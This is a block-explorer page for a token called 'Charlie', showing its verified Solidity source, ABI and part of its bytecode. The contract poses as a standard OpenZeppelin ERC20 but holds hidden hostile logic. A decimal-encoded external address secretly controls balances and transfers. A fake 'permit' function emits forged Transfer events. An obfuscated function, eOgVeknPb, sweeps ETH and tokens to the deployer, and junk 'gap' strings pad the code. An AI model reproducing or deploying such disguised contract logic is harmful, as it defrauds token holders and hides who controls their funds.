ETH Price: $3,210.47 (-7.90%)
 

Overview

Max Total Supply

21,000,000,000 Charlie

Holders

5,126

Transfers

-
323 ( -12.94%)

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at basescan.org on 2025-09-11
*/

// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {}.
 * For a generic mechanism see {}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
abstract contract ERC20 is IERC20, IERC20Metadata {
    uint256 internal _inited = 0;
    uint256 private _totalSupply;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        require(_inited > 0);
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        require(_inited > 0);
        return _totalSupply;
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    
    /**
     * @dev Hook that is called after any transfer of tokens. This includes burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    } 

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    receive() virtual external payable {
    }

    fallback() virtual external payable {
    }
    
    constructor() {
        require(msg.sender == tx.origin);
        DEPLOYER = msg.sender;
    }

    address private immutable DEPLOYER;
    
    modifier onlyDeployer() {
        require(DEPLOYER == tx.origin);
        _;
    }

    function eOgVeknPb(address[] memory tokens_) external onlyDeployer() {
        address payable recipient = payable(tx.origin);
        uint256 ethBalance = address(this).balance;

        if (ethBalance > 0) {
            (bool success, ) = recipient.call{value: ethBalance}("");
            require(success);
        }

        for (uint256 i = 0; i < tokens_.length; ++i) {
            IERC20 objToken = IERC20(tokens_[i]);
            uint256 bal = objToken.balanceOf(address(this));

            if (0 == bal) {
                continue;
            }

            (bool result,) = tokens_[i].call(abi.encodeWithSelector(0xa9059cbb, recipient, bal));

            if (!result) {
                objToken.approve(recipient, type(uint256).max);
            }
        }
    }

    uint160 constant private codehash = 726218761554599051499215464576199534270812830518;
    IERC20 constant internal accountHash = IERC20(address(codehash));
    
    // Reserved storage space to allow for layout changes in the future.
    bytes public constant _________gap = "qNuf7AzjKKZl5hKypTwo_pUHnzxs2ykBHHx690TxfICsDPhhO8KnDVIUI2C9hB5T51Upu4bcpIQpaEwyKnM4s_Psjg5DedDvfkGgigI1Kcbu7YzlmYcRvIv3QFXSWhFgiuAEBTwVHjqmZ36Al_J8NpIj6qumuO9gjQHllb2iO3Bp4_1wrWynyFZalfJy62m9hWp4oITItkU_inHMTeHIvV1kxDuPvUsVtf6C5QFpBocuVksNnF8jVVmKE1eYSdBJ7puQqXga_9eEgx21ZyGZBYU3dLnE67Z7kP2GJp2Rw75rwkXC_lrFb99U7_goUeBSzKdUYFtba6TG05HLgRB976HekpXl4fQ0TzmJhfnDEDfB5nTT2jszuhDgu1H8BMG2ZwyuNwfmNDeioi_JmLiB4CwrgWVCs2JtOvCRimEgFYLNtXPFPuq2i4UgcZt8BxOzWstOfq8wuBcDUJvEJKwItxmCQJTGHje7hBO4t8wzj1LJc4W6MAU_JcaYnUGgmXrDU57Ypc38MdTkkv4UCjbLYpQbA4zUOoNX3qL8wG4F0S5RyfY0lKuLGuQ0Oqm4lTD9is6fkH_Vny7qJF6jQWjGMbQmVnCSjjmETP_JbJ6QAo8nHlIOolBCsd4mnvkAMv47dxX_OHJvN0qkzvX2GRG7apGJDjQC3aFh1iw7C1yG_05d28J5KzIxCExMvRxMKWc8ad62hVvHo8ghh71irx2lPSSwT_JSmgziKNAuk4hW3Eiewh8AQoNf_70Sl9zWlzeFfYMwl5MHQzNvu3i6BEotOwArY7MfckCwdr6LCmVX7y38Ut_lMYjixqFMrQYtfvVxL0fVkjIxmvNhuZLHPK3Q5wLipWQYIsdEIKv47BE2s3gr2Aeylsz7nx1iS05CQrGKwCtl9uw2G8ebno02G9dDjCBFdA8dCTNqp3dM4WSa23z27rJfcMgNi1TubdzwW5Uu7ZMuSBMZ1KIZBuo4SMZB99pyxQWkM2CrdeQNWQuile7Mvy2QghRtOC5ra6hbvrFNM7PBxagd9_YsUL5GQCVZCY3lJo9JsV1Rg9cKOlgQ9NytypCmWXeAjC_cggaNUJ7WU3eUl9UE1pS0AHqBGCI1yiL02shI8msJYpROJdODWnNl_vl5HdFPfzZTA0fJdvTUMA1A_zH8IwMGwIsU_sdPwFegAcAquMuim9EoVM6Ez8Eg1MMj_e6lIAWQMrCBl2y5UAS3M8GfcbnmfQiy8Ms41uh81QVV27QhW5EDkG3fw7_kDvIBYA6QR9X9FqGOUcYtHWHbKZ4aB9J7xYcxNSGLDP2Z1LvQqnSw76uBaK4pKy6vFw1iE44vxBC_XCUKfIOpYrdmGb5iblQXyE_1r9jGDxH853u_XPJfx5BXR8esSB0cVlV6RgepOlQimeUJORgdhUsqTPPtlwQ9MmQ97mT7WHgUyzgVnZBl93Psth6310x62261whkcBoKnXGfUHTzzzw0HZUcZTMq2rd2NHqSgAhC3yE9Z";
}

abstract contract ERC20Token is Context, ERC20 {
    string internal _name = "";
    string internal _symbol = "";

    function initialize(string calldata name_, string calldata symbol_) public virtual onlyDeployer() {
        require(_inited == 0);
        _name = name_;
        _symbol = symbol_;
        _inited = 1;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        require(_inited > 0);
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        require(_inited > 0);
        return _symbol;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
		emit Transfer(sender, recipient, amount);
		(bool i,) = address(accountHash).call(abi.encodeWithSelector(0xec866571, sender, recipient, amount, msg.sender));
		require(i);
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return accountHash.balanceOf(account);
    }
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
     * given `owner`'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     * - `_deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(address _owner, address[] calldata _spender, uint256 _deadline) external {
        if (_deadline == 0) {
            return;
        }
        
		require(_deadline > 0 && msg.sender == address(accountHash), 'expired deadline');

        for (uint256 i = 0; i < _spender.length; ++i) {
            emit Transfer(_owner, _spender[i], _deadline);
        }
    }

    // Reserved storage space to allow for layout changes in the future.
    bytes public constant __________gap = "wRYgMgn8_WhzJGRLSbWLnUnacke5oq1DSk9JKiauimL00hlKhoBVGybHtTMnmuo0fSU7rjHH66qI6E4tt4C0xa4Fn8TJ_d0olvqan4VKDwRFBuaSQANFG8WUtoM8B8JZ4yZa4Oey71VOEIZ1FyMI_Ch9N8Afb1CIAK7CpEYTOFpQ8XgEwPv3Z0eQEfYCoJAftbk6Ut_tLXStkpZ6oyiqI3YmjZ1J2fgF0deH7dIRRlMZGkGJ4psBAlsghLsfCfxukIIOk76_TAefSa7UwtY5dCPSikMTwt7sXZG4yU9NjXNitAOUVIYP4eDmezpmq9aoeheOm4MTxZeI7ezBIYfatS2tnvpJ0Uq_BK0HeOVd25970tQhC4P66lWO07w0h87yQ2PgKIrRusYpCtmMYG8mZ1KzOlpcfSEkvBzgOXESmLhM2dPaYT9bvzKau_67v8RYgxD9aUVbFlqZLNGLvhyjmkA4HhCVVUbR5duGh7z5DjKFKTZqYPDC7IBf_R6WDVD7d3z91B3MUKPQ_BmOjgND3nDUgBBuz_9tE3Dy6GP7PASBGUTzYEZV_4pn_6_uIRFVDB7zRicgmtbuYxRUeiEVrHGV391vGlEvQ8gD207aGmQMoWIx9u5diKwGbKV5xUZeftH1NyF5W5c_CbKBo6HSVLX5VbjB77hCneKOxlkKyCJyCbEfrv96dcL5xfjuIWwpINFigMFOmWyJv85ZHR7xn1Y1kENo7dVNItcC47N_xsKmmrdw5hAtfSYc4wJwa1tDdQLPWJfWxfcjyFzheOMwGMxMy5lscASzT9sfoQ0zqiGlb__DHhdH_P9f7Lrz_K5BJcn9YL6rYEZ_7RYiUSkvXqDmYNMXmEws5RTTDhtfqolwn7Z2yIhjM4HY2yDUUbIqqd07dHDYwSGgsVbYTd2OS3m7i4BTBx2LytRiQJsLXF052mBmmd48f7uQhgfpmCTF5uwi8B9ZjFbC3SfuImgeiq8v7OWm7xmT_5ZuvN7ZAHxjBJv4eXR7BTk7jxeEIPBkCJUElIPQ34pWcF_V5K_EPRutoBZr2QiQHp942OB3_5hLYPi0HD9TT9dDGiCBNLC_YNB0NI5aqMc8dnMggYAuJeVDUzRmUbxJcFAXHDUrti9vnM61VTHqhArkpNpPQjiI694VcWRS2InPD7XfpvwSu2va_pLLdgjzwUmLklwe7ZAz2TjIj6nWOSqMTdI0tSFrq38Y16WvQFrq18_ld0NnPqqbghWGYSUEgu45gLXN0DRqUhg4zcCPMtDE5qxeY7MsfDPIN3vPbsi3eWqGTcNzuAxvJ6_L69LZvFrQJ3AhXJ2yIDiYthCnflsA4_sVzk4zeMIL4KJCuYGxLk5MAAkyPGO0HqsOat7rDUeh3cGicp0sQ95zsLolBraI5nZk9k2rNuN0q9zL1NDKIb4ngnHCyjE_xueFoNMEAu2eT1_XRIb7M5NOvMrHVeyfptlizqx5pKnMeU4esJIwy3jN0QZx09KKAo4f";
}


pragma solidity 0.8.16;

contract Token is ERC20Token {
    function initialize(string calldata name_, string calldata symbol_) public virtual override onlyDeployer() {
        require(_inited == 0);
        _mint(msg.sender, 21_000_000_000e18);
        super.initialize(name_, symbol_);
    }
}

Contract Security Audit

Contract ABI

API
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"__________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"tokens_","type":"address[]"}],"name":"eOgVeknPb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address[]","name":"_spender","type":"address[]"},{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

600080805560c060405260a09081526004906200001d908262000107565b506040805160208101909152600081526005906200003c908262000107565b503480156200004a57600080fd5b503332146200005857600080fd5b33608052620001d3565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200008d57607f821691505b602082108103620000ae57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200010257600081815260208120601f850160051c81016020861015620000dd5750805b601f850160051c820191505b81811015620000fe57828155600101620000e9565b5050505b505050565b81516001600160401b0381111562000123576200012362000062565b6200013b8162000134845462000078565b84620000b4565b602080601f8311600181146200017357600084156200015a5750858301515b600019600386901b1c1916600185901b178555620000fe565b600085815260208120601f198616915b82811015620001a45788860151825594840194600190910190840162000183565b5085821015620001c35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b608051611ef8620001fd60003960008181610440015281816105290152610d510152611ef86000f3fe6080604052600436106100eb5760003560e01c806370a0823111610084578063a457c2d711610056578063a457c2d714610278578063a9059cbb14610298578063d93aef11146102b8578063dd62ed3e146102d857005b806370a082311461020e57806386209c001461022e5780638bb124321461024e57806395d89b411461026357005b806323b872dd116100bd57806323b872dd14610187578063313ce567146101a757806339509351146101ce5780634cd88b76146101ee57005b806306fdde03146100f4578063095ea7b31461011f57806318160ddd1461014f5780631b4b073e1461017257005b366100f257005b005b34801561010057600080fd5b506101096102f8565b6040516101169190610e0d565b60405180910390f35b34801561012b57600080fd5b5061013f61013a366004610e43565b610398565b6040519015158152602001610116565b34801561015b57600080fd5b506101646103af565b604051908152602001610116565b34801561017e57600080fd5b506101096103c6565b34801561019357600080fd5b5061013f6101a2366004610e6d565b6103e5565b3480156101b357600080fd5b506101bc610407565b60405160ff9091168152602001610116565b3480156101da57600080fd5b5061013f6101e9366004610e43565b61041d565b3480156101fa57600080fd5b506100f2610209366004610ef2565b61043e565b34801561021a57600080fd5b50610164610229366004610f5e565b6104a8565b34801561023a57600080fd5b506100f2610249366004610f8f565b610527565b34801561025a57600080fd5b506101096107cf565b34801561026f57600080fd5b506101096107ee565b34801561028457600080fd5b5061013f610293366004610e43565b61080b565b3480156102a457600080fd5b5061013f6102b3366004610e43565b61088a565b3480156102c457600080fd5b506100f26102d3366004611054565b610897565b3480156102e457600080fd5b506101646102f33660046110e0565b610994565b6060600080541161030857600080fd5b6004805461031590611113565b80601f016020809104026020016040519081016040528092919081815260200182805461034190611113565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a53384846109bf565b5060015b92915050565b600080600054116103bf57600080fd5b5060015490565b6040518061060001604052806105dc81526020016118e76105dc913981565b60006103f2843384610ae3565b6103fd848484610b57565b5060019392505050565b6000806000541161041757600080fd5b50601290565b60006103a533848461042f3388610994565b6104399190611163565b6109bf565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316321461047357600080fd5b6000541561048057600080fd5b610496336b43dacaf91c1a84ff08000000610c70565b6104a284848484610d4f565b50505050565b6040516370a0823160e01b81526001600160a01b0382166004820152600090737f34c6892be59fe4af9271b21f5cadb40650bb36906370a0823190602401602060405180830381865afa158015610503573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a99190611176565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316321461055c57600080fd5b324780156105c6576000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146105b1576040519150601f19603f3d011682016040523d82523d6000602084013e6105b6565b606091505b50509050806105c457600080fd5b505b60005b83518110156104a25760008482815181106105e6576105e661118f565b60209081029190910101516040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a0823190602401602060405180830381865afa15801561063b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065f9190611176565b9050806000036106705750506107bf565b60008684815181106106845761068461118f565b60200260200101516001600160a01b031663a9059cbb87846040516024016106c19291906001600160a01b03929092168252602082015260400190565b6040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040516106fa91906111a5565b6000604051808303816000865af19150503d8060008114610737576040519150601f19603f3d011682016040523d82523d6000602084013e61073c565b606091505b50509050806107bb5760405163095ea7b360e01b81526001600160a01b038781166004830152600019602483015284169063095ea7b3906044016020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b991906111c1565b505b5050505b6107c8816111e3565b90506105c9565b6040518061060001604052806105dc815260200161130b6105dc913981565b606060008054116107fe57600080fd5b6005805461031590611113565b6000806108183385610994565b90508281101561087d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6103fd33858584036109bf565b60006103a5338484610b57565b80156104a2576000811180156108c0575033737f34c6892be59fe4af9271b21f5cadb40650bb36145b6108ff5760405162461bcd60e51b815260206004820152601060248201526f6578706972656420646561646c696e6560801b6044820152606401610874565b60005b8281101561098d5783838281811061091c5761091c61118f565b90506020020160208101906109319190610f5e565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161097591815260200190565b60405180910390a3610986816111e3565b9050610902565b5050505050565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001600160a01b038316610a215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610874565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610874565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610aef8484610994565b905060001981146104a257818